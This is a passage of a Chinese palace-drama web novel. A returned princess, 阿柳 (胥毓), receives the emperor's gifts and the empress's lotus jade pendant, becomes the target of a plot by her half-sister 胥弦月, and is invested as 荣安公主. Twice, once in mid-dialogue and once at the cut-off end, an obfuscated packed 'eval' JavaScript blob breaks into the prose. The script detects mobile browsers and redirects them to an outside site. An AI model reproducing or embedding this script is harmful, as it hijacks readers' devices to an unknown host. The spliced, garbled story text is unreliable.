脱下新衣后,阿柳抚摸着身上的粗布麻衣一脸怀念:“还要多谢四妹妹点醒我了,其实我也穿不惯这锦衣华服,就算是回到了宫中,也总觉得自己还是个山野丫头。我身上的这衣裳,虽不及大家穿的华贵,但对于我而言却是世界上最珍贵的东西。因为它是我收到的第一件新衣,也是从小到大穿得唯一一件新衣,除此之外,我所拥有的都不过是些旁人穿剩穿烂了的旧衣……但我心中无怨,毕竟这或许就是我的命吧,我早就习惯了……” 阿柳的声音渐渐低了下去,但字字句句却如针尖般刺入在场每个人的耳中。 她缓缓环视四周,目光所及之处,就连方才还趾高气扬的胥弦月都不自觉地避开了视线。 皇帝的脸色已经阴沉如水,他重重放下手中的玉箸,瓷器相撞的清脆声响让整个大殿为之一静。 “弦月,给你皇姐道歉。” 胥弦月不敢置信地瞪大眼睛:“父皇!明明是她……” “朕说,道歉!”皇帝的声音里带着不容置疑的威严。 这一次,他是真的动怒了。 毕竟他虽一向讲究平衡之道,不愿过多的掺和到儿女之间的小打小闹中,但阿柳不同。 他侧目望向那张熟悉的脸颊,心里的某处忽然被触动,连带着对之前没有第一时间袒护阿柳的行为都生出了一丝懊悔。 而胥弦月听罢咬着嘴唇,眼眶迅速便红了起来。 她不甘心地转向阿柳,从牙缝里挤出几个字:“对不起!” 但阿柳却忽然退后一步,然后朝着胥弦月郑重其事地行了一个标准的宫礼:“四妹妹言重了,说来也是我的不是,明知自己身份尴尬,却还要回宫来给大家添麻烦。” 皇帝心底一慌,赶忙唤道:“阿柳……” 阿柳闻言又转向皇帝深深一拜,“父皇,今日这家宴儿臣实在是有些食不下咽,不知儿臣如今住在何处,儿臣想先行告退了。” 单薄的粗布衣衫在满殿华服中显得格格不入,却又莫名透着一股不容轻视的傲骨。 皇帝的心骤然收紧,又缓缓放下。 还好,还好,还好只是想休息休息,而不是像那个人一样,要离他而去。 此时,一直默不作声的皇后在身旁宫女的搀扶下站起身来,她微微俯身向皇帝行了一礼,然后说道:“阿柳是我的孩子,就和嘉儿一样跟着我吧,臣妾今日也没什么胃口,便先带她回未央宫了。” 皇帝神色微动,目光在皇后和阿柳之间游移片刻,最终颔首道:“也好,皇后费心了。” 皇后勾了勾唇角,但笑意分明不达眼底,她仪态端庄的走到阿柳身边,然后轻轻握住她的手,温声道:“走吧,母后带你回去。” 阿柳低眉顺眼地应了一声,仍由皇后牵着自己离开此地。 皇后指尖的温度冰凉刺骨,刚出殿门便又不着痕迹地松开了阿柳,感受着被皇后抚摸过的地方依旧泛着冷意,阿柳的思绪也难得有些凝滞。 她的这位母亲,似乎是太过冷淡了些。 既是对她,也是对胥嘉。 …… 而在她们俩走后,皇帝望着那碗被打翻的羹汤,若有所思。 胥昭云见状,轻声劝道:“父皇,弦月年纪还小,不懂事……” “不懂事?”皇帝冷笑一声,“朕看她是太懂事了,只是不知这懂得,究竟是谁的事!” 胥嘉心头一跳,明白皇帝意有所指,但此时此刻,她的身份又有些不便开口。 所以她赶忙在桌下踢了踢太子。 而太子收到她的提示,立马便起身说道:“父皇,弦月确实过分了些,但大妹妹今日也——” “也什么?”皇帝不等他说完,锐利的目光便骤然直刺过来,“也该忍气吞声?还是说,你们都觉得朕这个女儿不配做你们的姐妹?” 满座寂然。 皇帝缓缓起身,目光扫过在座的每一个子女:“今日之事,朕不希望再看到第二次,阿柳是你们的亲姐妹,谁要是再敢轻慢于她……”他顿了顿,语气陡然转冷,“就别怪朕不讲情面!” 皇帝说完,目光沉沉地扫视一圈,见众人皆低头不语,这才稍稍缓和神色。 他转头看向身旁的总管太监,沉声道:“张炳春。” 张炳春立刻躬身向前:“奴才在。” “去库房取十批新贡的浮光云锦。”皇帝顿了顿,又补充道,“再添十套头面首饰,一并送到大公主宫中。” “是,奴才这就去办。”张炳春领命退下。 皇帝又看向一旁似乎还有不忿的胥弦月,冷声道:“四公主言行无状,即日起禁足半月,并抄写《女戒》百遍,抄完之前,不准出宫门半步!” 胥弦月脸色瞬间煞白,她嘴唇颤抖着想要辩解,但却被身旁的胥昭云暗中拽了拽衣袖。 她已经惹了父皇不快了,若在胡搅蛮缠,只怕就不是禁足这么简单,所以尽管不满,也只得含泪叩首:“儿臣遵旨。” 胥阳丹见状,眉头紧皱,正欲再说什么,皇帝却已拂袖而起:“好好一个家宴闹成这样,朕也无心再用膳,今日家宴就到此为止,都散了吧。” 皇极殿上的家宴不欢而散。 而此时的未央宫中,阿柳的处境也有些令人捉摸不透,因为带她回来的皇后竟然真的只是把她带了回来。 没有冷言冷语,也没有温情脉脉。 隔着一扇雕花小扉,无人问津,唯闻雨落。 * 申时,张炳春就带着一众太监宫女送来了皇帝的赏赐。 十匹上好的浮光云锦在烛光下泛着柔和的光泽,十套镶金嵌玉的头面更是精致非常。 “大公主,陛下说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979977|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这些料子您喜欢什么样式尽管吩咐尚衣局去做。”张炳春笑眯眯地说道,“陛下还特意嘱咐,让您千万别委屈了自己。” 阿柳恭敬地谢了恩,待张炳春退下后,她伸手抚过那些华美的布料,眼中闪过一丝深思。 “阿柳,这是……”云溪欲言又止。 阿柳轻笑一声:“这是在告诉所有人,我阿柳,再也不是那个可以任人欺凌的山野丫头了。” 她拿起一匹月白色的云锦,在铜镜前比了比,镜中的少女眉眼如画,一袭粗布衣裳也掩不住通身的气度。 云溪忍不住夸赞:“这样看来你父皇对你也还不赖嘛,送你的东西都这么好!” 阿柳将云锦放下,笑了笑没搭话。 布料首饰确实都是难得一见的好东西,只可惜她辛辛苦苦从北甸城回来,求得从来都不是这些身外之物。 廊下灯笼被风吹得左右摇晃,在阿柳脸上投下忽明忽暗的光影,她伸手,接了一捧被风吹进来的绵绵细雨。 她所求的,从始至终,唯有真心而已。 用过晚饭后,约莫酉时末,皇后总算是派了身边的大宫女香巧来唤阿柳。 此时天际擦黑,暮色中的未央宫即便点满了宫灯也比白日更显幽深。 朱红廊柱在宫灯的映照下如血般暗沉,檐角铜铃随风轻响,一声声敲在阿柳的心上。 她跟在香巧身后半步远,望着她梳得齐整的发髻只觉自己恍如梦中。 这么晚了,皇后才召见自己,是有什么话要和自己说呢? 直到和香巧一起停在小佛堂的门口,阿柳飘离的思绪才渐渐收拢。 “进来吧。”皇后的声音比夜风还轻。 香巧守在殿外,阿柳独自迈进殿门,扑面而来的是混合着灯油与檀香的香火味。 殿内摆设极尽雅致,阿柳迎面便见一尊白瓷观音像,佛像低眉垂目,在袅袅香烟中若隐若现。佛前的铜香炉里,三炷线香静静燃烧,青烟如纱,缓缓升腾,又无声散入梁间。 供桌上铺着暗红绣金的桌帷,摆了几碟素果,青梨、红柿、佛手柑……果香清浅,混着檀香,生出几分禅意。 这里的一切都静极,连尘埃的浮动都显得缓慢,时间在此处似乎凝滞,唯有香炉里的烟,还在无声地诉说着什么。 皇后双手合十不知道在祷告着什么,看起来格外虔诚,阿柳在一旁看着,没出声。 但没过一会儿,却听一直没有睁开眼睛的皇后说道:“磕个头吧。” 磕头?给谁? 阿柳有些错愕,但又瞬间反应过来,是给面前的观音像磕。 毕竟皇后也板正的跪在这尊观音像的面前呢。 所以她立马在一旁的蒲团上跪下,然后恭敬的磕了三个头。 “需要儿臣上支香吗?”阿柳磕完以后才后知后觉的问道。 皇后不知什么时候睁开的眼睛,此刻正目光灼灼地看着阿柳的脸,阿柳被看得心里有些发毛,但却始终没有乱动,而是静静迎着皇后的视线,看了回去。 这场无声的对视持续了一盏茶的功夫,才在皇后的离开下结束。 她说道:“还不到时机。” 16. 莲花玉佩,再生毒计 阿柳看着她离去背影,不知道她所说的时机,指的是什么意思。 但也没多问,毕竟用脚指头想想,她也明白皇后不可能会告诉自己。 所以利落地从地上爬起来后,阿柳立马默不作声的跟上皇后的脚步,和她一道去了主殿。 未央宫里一共有三座宫殿,一座主殿,两座偏殿。 两座偏殿分别是阿柳和胥嘉在住,主殿毋庸置疑,住的是皇后。 到了地方,随行的宫女除了几个心腹全都留在了殿外,皇后在香巧的服侍下焚香净手,然后在主位上施施然坐下。 “坐。”她看了眼阿柳,又指了指一旁的矮榻。 阿柳犹豫片刻,选了离主位最远的位置坐下,粗布衣裳摩擦着精致的绣垫,发出细微的沙沙声。 宫女们悄无声息地奉上茶点又退下,整个过程如行云流水,没有一丝杂音。 阿柳盯着面前那盏描金瓷杯,里头琥珀色的茶汤映出自己模糊的倒影,她从里头看见了自己脸上的局促。 “皇上为你拟了个新名字。”皇后突然开口。 阿柳抬头,正对上那双如古井般平静的眼睛。 皇后从身旁嬷嬷手中接过一卷明黄绢帛,然后缓缓展开:“从今日起,你叫胥毓。” “毓?”阿柳生涩地重复这个字,舌尖抵着上颚,发出一个她从没念过的音节。 “毓有培养之意。”皇后将绢帛放在案上,金丝绣的云纹在烛光下微微发亮,“皇上是希望你忘却前尘,从今往后,成为一个合规的公主。” 阿柳的指尖无意识地摩挲着粗布衣角。 忘却吗……可是如何能忘? 丹骆村的晨露,山间的野莓,耿大娘粗糙的手掌,还有……邰玉轩少年时明亮的眼睛。 这些记忆早已如胎记般烙在她骨血里,如何能说忘便轻而易举的忘记,她又不是个没血没肉的假人。 但嘴上阿柳却还是恭敬的答道:“儿臣明白了。” 皇后又向阿柳招了招手,示意她到近前来。 阿柳挪着屁股坐过去,正疑惑她要干嘛的时候,却见皇后忽然倾身,竟是主动握住了她的手。 那双手白皙细腻,掌心微凉却柔软,像上好的丝缎包裹住了阿柳布满茧子的手指。 “本宫知道你不习惯。”皇后的声音依然平淡,却少了几分疏离,“但既然回来了,就要学会做公主。” 阿柳有些怔住了,她从未被人这样握着手说话。 师父只会用竹条抽她的手心,耿大娘也只摸过她的脑袋,就连邰玉轩最多也就是短暂拉过她的手腕。 此刻皇后掌心的温度透过皮肤传来,竟让她鼻尖有些发酸。 “册封礼定在了三日后,同镇国公府的邰家小子一同受封,届时皇上会正式为你更名,并加授封号。”皇后松开手,从案上取过一块玉佩系在了阿柳腰间,“这玉佩是极重要的东西,你且收好,从明日开始,芳吟会教你礼仪。” 皇后身边一位年岁稍长些的宫女朝着阿柳屈膝行礼,“公主。” 她便是芳吟。 阿柳点了点头让人起来,此刻的注意却是全都放到了皇后系在她身上的那块玉佩上。 玉佩被雕作盛放的荷花模样,花瓣层叠舒展,边缘透着一线绯色。玉料是罕见的桃花玉籽料,通体如脂如膏,对着光便能瞧见里头丝丝缕缕的烟粉纹路,宛若春风拂过桃林时抖落的花雾。 阿柳抬手抚过荷花花瓣,只觉触手生温。 这东西实在是太贵重了。 她有些怯怯地偷瞄了皇后一眼,有些怀疑自己先前觉得皇后不喜欢自己的结论有误。 毕竟如果真是不喜欢的话,又怎么会送自己这么珍贵的东西呢,她送过胥嘉这样的东西吗? 这玉佩不像是皇帝送的首饰布匹那样,虽然珍贵却并不独特。 无论是荷花上雕刻的工艺,还是那别致的花型,一看便知这是带着爱意精心铸就的东西。 爱意吗? 皇后,她的母亲,是爱她的吗? 阿柳不知道自己的猜测究竟是不是真的,但这一刻,她的心里无疑是暖暖的。 不过皇后像是完全没发现她这些小心思似的,顿了顿便又继续说道:“胥嘉虽还住在未央宫,但你不必在意,皇上是顾忌多年情分才勉强留下她的,你才是真正的公主。” 阿柳明白,不管是出于皇帝的不舍,还是画本子的主角效应,胥嘉都不可能轻而易举地从皇宫里搬出去。 所以闻言她也只是了然的点了点头:“儿臣明白。” 说完这些,皇后似乎有些累了,她撑着桌案揉了揉太阳穴,指尖在烛光下泛着淡淡的玉色。 殿内燃着沉水香的香炉里升起袅袅青烟,在她疲惫的眉眼间缭绕,她摆了摆手,声音里带了几分倦意:“好了,本宫乏了,你也去歇着吧,缺什么只管吩咐下人。芳吟以后便跟着你了。” 胥毓起身行礼,动作笨拙却格外认真。 回到偏殿时,檐角的风铃在夜风中叮咚作响,云溪已经在里头等候多时。 烛光将她焦急踱步的影子拉得老长,一看见阿柳,她立马兴奋地跑了过来,“阿柳,皇后娘娘说了什么,她对你可好?” 但还不等阿柳作答,跟着阿柳回来的芳吟却是先一步说道:“大胆!怎可直呼公主名讳!” 云溪这才发现,阿柳的身后多了个一脸严肃的宫女。 这不会是派来监视阿柳的吧? 见云溪眼睛瞪得溜圆,阿柳就知道她又开始胡思乱想了,所以赶忙说道:“这是我的朋友,芳吟姑姑不必过多苛责,姑姑明日还要教我礼仪,今日便早些下去休息吧。” 芳吟眉头微蹙,目光如刀在云溪身上刮过,却终究没再多说什么。 她微微福身道:“公主唤奴婢芳吟就好。不过即便是您的朋友,私下倒是无所谓,但若到了殿外还是要守些规矩,否则若让外边儿的眼睛看着了,只怕是会被人挑了错处去,连累公主受罚。” 芳吟说完这段告诫,便头也不回的走了出去,直到她的身影彻底消失在殿外,云溪才长舒一口气。 她一把拉住阿柳的手,冰凉的手指泄露了她方才的紧张:“吓死我了!她怎么那么凶,是皇后娘娘派她来管着你的?” 阿柳摇摇头,拉着云溪在绣墩上坐下,轻声道:“不是管着,是教我规矩。三日后便是册封礼,在这期间,我得学会如何做一个公主。” 规矩什么的最麻烦了,云溪撇了撇嘴,对此毫无兴趣。 她的目光忽然落在阿柳腰间的玉佩上,然后眼睛一亮:“咦?这玉佩是哪来的呀,好漂亮!” 阿柳低头抚了抚那枚荷花玉佩,指尖触到温润的玉面,心底涌起一阵暖意。 她唇角微扬:“是母后给的。” “母后”两个字从嘴里滑出来的时候,阿柳只觉心跳都莫名快了一拍。 云溪凑近细看,忍不住惊叹:“这玉料真稀奇,粉粉的,像桃花!我能摸摸吗,会不会摸坏了呀?” 她的手指悬在半空,看起来既想触碰又怕冒犯,好不滑稽。 “哪有那么金贵?你尽管看。”阿柳失笑,直接解下了玉佩递给她。 云溪小心翼翼地从阿柳手上接过,一边看,一边啧啧称奇:“真好看,连花瓣上的纹路都雕得这么细,皇后娘娘待你真好!” 阿柳眸光微动,轻声道:“确实待我极好,她还给我取了个新名字呢,叫胥毓。” “这名字好听呀!胥毓,钟灵毓秀的毓对吧,阿柳虽然叫起来也朗朗上口,但是当做大名 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毕竟,长这么大,她也总算是体会到了有母亲疼爱的滋味。这份迟来的温暖,让她既想要紧紧抓住,又怕像捧在手心里的雪,稍不留神便转瞬成空。 窗外,雨已经停了,一轮新月悄然爬上飞檐,在湿润的砖瓦上投下清冷的光。 而阿柳不知道的是,此刻的钟粹宫内,那个她无暇理会的人,却正因她而怒火中烧。 …… “凭什么!” 胥弦月将手中的笔墨狠狠摔在地上,墨汁溅脏了她的裙摆。 贴身宫女茯苓战战兢兢地跪在地上收拾残局,不敢抬头。 “那样的野丫头也配叫‘毓’!”胥弦月抓起砚台就要往墙上砸,但才刚把手抬起来,一旁站着的另一个宫女清露便赶忙将她拦了下来。 她一边将胥弦月手里的砚台夺下,一边安抚道:“四公主勿恼,气坏了身子,岂不是更叫她人看了笑话。大公主如今到底已经回来了,您再闹也终究是无济于事,说不定还会惹恼了皇上让他更加疏远于你。” 可胥弦月听罢却更加生气,“你这话什么意思,难道让本公主白白受了这气,然后眼睁睁地看着父皇往后就只是她一个人的父皇吗!” “四公主这么想便不对了,虽说大公主的身份咱们没办法做文章了,但给她点使绊子出出气,不还是小事一桩吗。”清露面上带笑,但眼底却竟是恶毒。 “你这话什么意思?” 清露说道:“皇上今日不是赏了她十匹云锦吗?” 胥弦月不明所以地点点头,“那又如何?” 清露凑到胥弦月的耳边低语几句,小公主的脸色瞬间变得刷白:“这怎么能行!被发现了怎么办!” “怕什么?”清露冷笑,“她一个山里出来的野丫头,懂什么衣料好坏?” 胥弦月还是有些害怕,毕竟她虽然仗着年纪最小一向娇蛮惯了,但却到底是没有害过别人性命。 可是,清露出的那个主意坏是坏了些,但也不是伤人性命的毒计,她只是想要帮自己教训一下那个一回来就分走了自己宠爱的家伙而已。 想到这里,胥弦月总算是下定了决心。 她从妆匣里取出一支金簪塞给茯苓,然后又将清露所说的办法吩咐给她。 “照我说的做,等她穿上那身新衣,本公主要看场好戏!” 茯苓攥着金簪的手直发抖,但又不敢违抗胥弦月的命令,所以只能一脸悲戚的磕头应承了句“是”。 等到所有人都从殿内退了出去,胥弦月独自一人走到窗前,望着未央宫的方向,眼底是无尽的嫉妒和不甘。 “浮光云锦可是个好东西,你既敢收,那就好好享受吧……” 月光将她姣好的面容照得半明半暗,她轻声呢喃,指甲在窗棂上刮出刺耳的声响。 17. 一个容貌相似的女子 三日的时间稍纵即逝,阿柳的规矩虽学得一知半解,但应付册封大典却还是绰绰有余。 翌日一早,天刚蒙蒙亮,未央宫的宫女们便已经忙碌起来。 阿柳站在铜镜前,由着宫女们为她梳洗。 之后简单的用过早膳,便有一群伶俐的宫女鱼贯而入,然后朝着阿柳福身行礼:“大公主吉祥,今日大喜之日,奴婢们这便为大公主梳妆打扮。” 阿柳点了点头,然后在芳吟的搀扶下移步暖阁。 为首的宫女小心翼翼地从檀木盒中取出那套尚衣局赶工出来的翟衣。 翟衣以深青色的锦缎为底,上面用金线和五彩丝线绣着栩栩如生的翟鸟,它们姿态各异,或展翅欲飞,或低头啄食,仿佛下一秒就要从衣上飞出来一般。 宫女们先为阿柳换了件白色中衣,紧接着将翟衣缓缓披在她的身上,最后又系了条嵌着宝石的红色腰带,才总算是大功告成。 换好衣服,紧接着便是妆发。 梳妆台前,宫女们手法娴熟地将阿柳的头发盘起,随后又在发髻上点缀了各种珍珠、宝石和金银饰品,每一件都价值连城。 云溪站在一旁,看着镜中的少女眉目如画,肌肤胜雪,一袭深青色翟衣衬得她明艳不可方物,眼里满是惊叹:“阿柳,你今日真好看!” 阿柳扯了扯衣领,还有些不适应这繁复华丽的服饰。 她从前穿惯了粗布麻衣,如今被这层层锦缎包裹着,只觉得浑身都不自在。 “这衣裳裹得这么紧,待会要是炸开了怎么办呀?”她有些担忧。 云溪噗嗤一笑:“放心吧,九族严选的东西,就算是绣娘们脑袋炸了也不会是这衣服炸。” 一旁的芳吟也安抚道:“公主不必忧虑,尚衣局的嬷嬷们手艺极好,绝不会出岔子。” 阿柳点了点头,但心里却仍有些忐忑。 今日是她正式以公主身份亮相的日子,满朝文武,后宫妃嫔,甚至是其他的皇子公主都会在场。 她虽不惧他们,可也不想在众目睽睽之下出丑。 正想着,殿外突然传来一阵清脆地脚步声,紧接着,一道娇柔却带着几分刻薄的声音骤然响起。 “哟,大皇姐今日可真是光彩照人啊。” 阿柳抬眸,便见胥弦月倚在门边,一袭淡粉色宫装,衬得她娇俏可人。 只可惜,她眼底的讥讽破坏了这份美感。 “四皇妹来得真早。”阿柳淡淡道,“怎么,是怕待会儿册封礼上抢不到好位置,所以先来探探路?” 胥弦月脸色一僵,随即又扬起笑容:“大皇姐说笑了,妹妹只是担心大皇姐初入宫廷,礼仪不熟,待会儿在众人面前出丑可就不好了。” “哦?”阿柳挑眉,“那四皇妹可真是体贴。不过,我虽只学了几日的礼仪,但似乎要比某人学了十几年的还要像样些呢,毕竟,我可不会手抖的连碗汤都端不住。” 胥弦月脸色微变,显然没料到阿柳会如此直白地回击。 她咬了咬唇,还想再说些什么,但殿外这时却又传来一阵脚步声。 “姐姐。” 原是胥嘉缓步走了进来。 她脸上挂着温婉的笑容,看起来比胥弦月沉稳得多,举手投足间皆是大家闺秀的风范。 “我当是谁,原来是胥嘉郡主。”阿柳微微颔首,语气不咸不淡,“先前叫得乱些也就罢了,如今身份各归其位,郡主还是尊我一声大公主吧。没得叫旁人听去,还笑你做了十来年主子,却是半点宫规也没学会。” 胥嘉脚下的步子一顿,似乎是没想到阿柳翻脸比翻书还快。 前几日在皇帝面前还拉着自己的手说什么姐妹情深,今日竟是直接演都不演了。 虽然她也知道两人之间本就是水火不容,但这般直白的翻脸,倒确实是让她有些措手不及。 不过毕竟是重活一次的人了,倒不至于被这么点小插曲就给唬住,所以只微微愣了愣,她便立马回神。 “臣女明白了。” 阿柳顺着描眉宫女的手掌微微扬起下巴,继续问道:“你来我这儿又是为何,总不至于也是找不到路吧?” “你说谁找不到路呢!你个野丫头,你信不信——”一听这话,胥弦月立马炸毛。 但幸好身旁的清露赶忙拉住了她,才防止了这个小祖宗继续在这儿闹事。 清露递了个眼神,胥弦月当即有些心虚,所以连带着高涨的气焰也瞬间熄火,扭扭捏捏的轻哼了声便没再造次。 而一旁的胥嘉倒是没有注意到两人之间的暗流涌动,她朝着阿柳走近几步,然后柔声说道:“今日是你的大日子,毕竟同住未央宫,所以臣女特意来看看大公主。只是……” 她说着忽然顿了顿,目光在阿柳的衣裳上扫过:“这衣裳似乎有些不合身?” 衣裳当然是合身的,只是册封典礼定的仓促,这件翟衣是多亏尚衣局日夜赶工才做了出来。 所以胥嘉此言,不过是暗讽阿柳才刚找回身份,就迫不及待地耀武扬威,面上过于小家子气了些。 可阿柳却完全不吃胥嘉这一套。 她素来信奉人生在世,当及时行乐的道理。 故而轻笑一声,当即便道:“胥嘉郡主的眼睛倒是毒辣,连尚衣局的手艺都能挑出毛病来。那不如待会儿册封礼上,郡主亲自去帮我问问尚衣局的嬷嬷,看看她们是不是刻意怠慢于我?” 胥嘉笑容微僵,没料到阿柳一点脸面也不给自己留。 她正欲再开口,却不想殿外又传来一阵脚步声。 “大皇妹这里今日似乎格外热闹。” 太子胥阳丹迈步而入,身后紧跟着二皇子胥建柏和三皇子胥华荣。 他一袭朱红色锦袍,面容俊朗,眉宇间带着几分倨傲。 一进来,目光便落在胥嘉身上。 见她神色不悦,眉头顿时皱起。 “大皇妹,嘉儿好心来看你,你怎可如此无礼?”显然他听见了阿柳刚才说得话,这是为胥嘉打抱不平呢。 胥嘉后退半步,躲在太子身后,看起来倒真像是受了委屈的模样。 可阿柳抬眸,不卑不亢:“太子殿下此言差矣,我不过是实话实说,何来无礼?” 太子脸色一沉:“大皇妹,你虽刚回宫,但也要懂得尊卑礼仪,嘉儿再怎么说也是你的妹妹,你理应爱护。” 阿柳轻笑一声:“太子殿下,若没记错的话,父皇昨日才说过,我是真正的公主,而她胥嘉,不过是念在多年情分才继续留在宫中的一个郡主,所以她算是我哪门子的妹妹?还是说,太子殿下是觉得父皇说得话也不算数?” 太子一噎,脸色顿时难看至极。 他没想到阿柳竟敢直接搬出皇帝来压他! 而一旁的三皇子胥华荣见状,立刻帮腔道:“大皇姐,何必如此咄咄逼人?大皇兄也是为你好,你初来乍到,不懂规矩,我们提点一二也是为你着想。” 胥毓瞥了他一眼,似笑非笑:“三皇弟倒是热心,只是不知道,三皇弟是平日里提点别人的时候也这么勤快,还是独独只看你大皇姐不顺心呢?” 胥华荣脸色一变,显然听出了她话里的嘲讽。 他平日里游手好闲,最是纨绔,哪里会去提点别人? 二皇子胥建柏原本站在一旁看戏,此时见状忍不住笑出声来:“妙极!妙极!大皇姐这张嘴,可真是厉害!” 他就是个看热闹不嫌事儿大的,所以阿柳瞥了他一眼,倒是没理会这个憨包。 而太子却是受不了气的,他此刻脸色铁青,正欲发作,却忽听殿外传来太监尖细的嗓音。 “皇上驾到!” 竟是皇帝来了。 众人一惊,连忙跪地行礼。 皇帝大步走入殿内,目光扫过众人,最后落在阿柳身上,眼底闪过一丝满意。 “好孩子,今日是你的大日子,朕来看看你准备得如何了。”他上前亲自将阿柳扶了起来。 阿柳垂首:“回父皇,儿臣已准备妥当。” 皇帝点了点头,又看向太子等人,语气微冷:“你们几个,怎么都聚在这儿?” 太子连忙道:“回父皇,儿臣……儿臣是来恭贺大皇妹的。” 皇帝淡淡“嗯”了一声,显然不太信,却也没多问,只道:“册封礼快开始了,都退下吧。” 众人不敢违逆,只得躬身退下。 临走前,胥弦月还不甘心地瞪了阿柳一眼,而胥嘉则低垂着头,看不清表情。 待众人离开,皇帝才看向阿柳,语气温和:“毓儿,今日之后,你便是真正的公主了,朕希望你能好好适应宫里的生活。” 他叫的是她的新名字,胥毓。 阿柳抬眸,看着眼前这个威严却又对她格外宽容的男人,心中微暖:“儿臣明白。” 皇帝满意地点点头,转身离去。 云溪这时才敢长舒一口气,小声道:“阿柳,您刚才可真是太厉害了!以一敌四,大有舌战群儒之风呀!他们几个一杵这儿的时候,我真是大气儿都不敢出了!” 阿柳唇角微勾:“这算什么,才刚刚开始呢。” 胥嘉和太子的算计,胥弦月的敌对,还有那些看不见的暗箭…… 要想留在这皇宫里面,她还有得磨。 最后,在宫女服侍下,上完妆的阿柳戴上了那顶九翟四凤冠,然后便带着云溪褚奎,和一支仪仗队开始朝着金銮殿的方向赶去。 …… 金銮殿内,华灯璀璨,文武百官肃立两侧,殿中气氛庄重而肃穆。 皇帝端坐于龙椅之上,目光温和地注视着殿中央站立的阿柳,不,现在应该称她为胥毓了。 “大公主胥毓,上前听封。” 太监尖细的嗓音回荡在大殿之中,胥毓微微垂首,缓步上前。 “儿臣在。”她跪下行礼,声音清冷而沉稳。 皇帝满意地点点头,缓缓开口:“朕念你流落民间多年,历经磨难,如今认祖归宗,朕心甚慰。今日特赐你封号‘荣安’,望你日后平安喜乐,荣耀加身。” “谢父皇恩典。”胥毓叩首,眼底却闪过一丝复杂。 荣安公主。 东陵城女子十八及笄,古往今来,便从未有公主在及笄之前得到封号的先例。 所以这是皇帝给她的殊荣,也是给所有人的一个信号:她胥毓,才是真正的公主! 一时间殿内众人神色各异。 太子面色微沉,胥弦月眼中闪过一丝嫉妒,而胥嘉则低垂着头,指尖死死掐进掌心…… 唯有二皇子胥建柏懒洋洋地站着,一副事不关己的模样。 龙纹鎏金烛台在大殿内投下摇曳光晕,皇帝端坐在蟠龙宝座上,接着将目光落在阶下立着的云溪与褚奎身上。 他抬手轻挥,长袖拂过明黄的龙纹案几,语气不疾不徐,却带着不容置疑的威严:“云溪,褚奎,此次荣安公主归途屡遇险境。朕听闻,是你二人于匪寇突袭时舍命相护,方保得公主安然返城。这份忠勇,当受嘉奖。” 他话音一落,云溪褚奎二人当即跪地。 殿内众人屏息凝神,接着又听皇帝说道:“云溪,你虽身为女子,却有不输须眉的胆识。朕念你护驾有功,特赐县主之位,食邑三百户,赐宅邸于朱雀大街。望你日后恪守本分,为宗室表率。” 说罢,一旁伫立的宫人立马捧上赤金镶玉的县主印信与霞帔,明晃晃的光芒映得云溪苍白的脸上泛起红晕。 云溪眨了眨眼,显然没想到自己也能得到封赏,连忙跪下谢恩:“谢皇上恩典!” 紧接着,皇帝的目光又落在了褚奎身上,“褚奎,此次护驾途中,你忠心可鉴。朕着你即日起升任御前侍卫,赐蟒纹箭袖,随侍朕侧。望你牢记职责,保我皇室安危。” 褚奎叩首谢恩,面上不卑不亢。 皇帝抬手虚扶,示意二人起身。 这两人他已经让人调查清楚,都是跟着胥毓从北甸城回来的流民。 可是身份如此普通的两人,不论是面见自己,还是听封受赏,竟都是不卑不亢。 这倒是让他有些刮目相看。 所以赏赐完后,他沉吟片刻,接着又道:“朕虽已论功行赏,但你二人若还有心愿未了,也可一并说来。” 话音落下,殿内烛火轻颤,群臣交头接耳的细碎声戛然而止,目光齐刷刷落在阶下两人身上。 先前的赏赐已是天恩,却不想皇帝竟然还额外多问此二人的心愿。 这究竟是真的看重于此二人,还是借着赏赐的名头,展露对荣安公主的看重。 一时之间,群臣思绪万千。 而此时的云溪垂眸敛去眼底波澜,她素白的指尖捏紧裙摆,想说什么却又有些担忧。 微微侧目,便见一旁的胥毓朝她点了点头。 虽未说上只字片语,但云溪却明白,她是让自己说出心中所想,她会保自己平安的意思。 所以云溪的心落在肚子里,终是福身行礼:“皇上隆恩浩荡,臣女已感激不尽。只是臣女生性散漫,自幼向往天高海阔,实在不惯宫廷拘束,所以望皇上准许臣女出宫。另此番一路同行,臣女与荣安公主情同姐妹,若就此分别,臣女也实难心安……” 皇帝闻言抚须轻笑,云溪的未尽之意他懂。 他多问所求的目的本就是为了看看此二人是否如他所想,是秉性正直之人,如今听得云溪所求,便知自己确实没有看错人。 所以他当即便道:“既如此,朕准你每月朔日入宫与荣安团聚,闲暇时候若想与荣安同游,亦可随时递牌子。” 他话音未落,云溪已伏地叩首,语气里是掩饰不住的喜悦:“谢皇上成全!” 她没想到,这皇帝竟然不像她以为的是个老古板,反而还怪好说话的呢。 此时见云溪得偿所愿,一旁的褚奎也上前半步,拱手说道:“陛下,卑职本是寒门子弟,蒙公主赏识才有今日。功名利禄于卑职如过眼云烟,只求能继续追随公主左右,护她周全。” 他背脊挺直如松,目光坚定,也确实是个不可多得的好苗子。 所以皇帝眼中闪过嘉许,猛地一拍龙椅扶手便道:“好!好一个重情重义的汉子!你既有此求,那朕赐你的御前侍卫之位与蟒纹箭袖不变,即日起便随侍公主身侧,护她平安无虞!” “谢皇上!”褚奎再次叩首谢恩。 满朝文武也纷纷躬身行礼,高呼“皇上圣明”。 胥毓唇角微扬,隔着人影与一脸狡黠的云溪相视一笑。 都挺好。 她不愿留在宫中,如今又有了县主身份和府邸,倒是能自在些。 但是随着皇帝的下一声轻呼,胥毓眼底的笑意顷刻间消失不见。 “邰玉轩何在?” 是了,今日一同受封的,除了他们一行三人,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 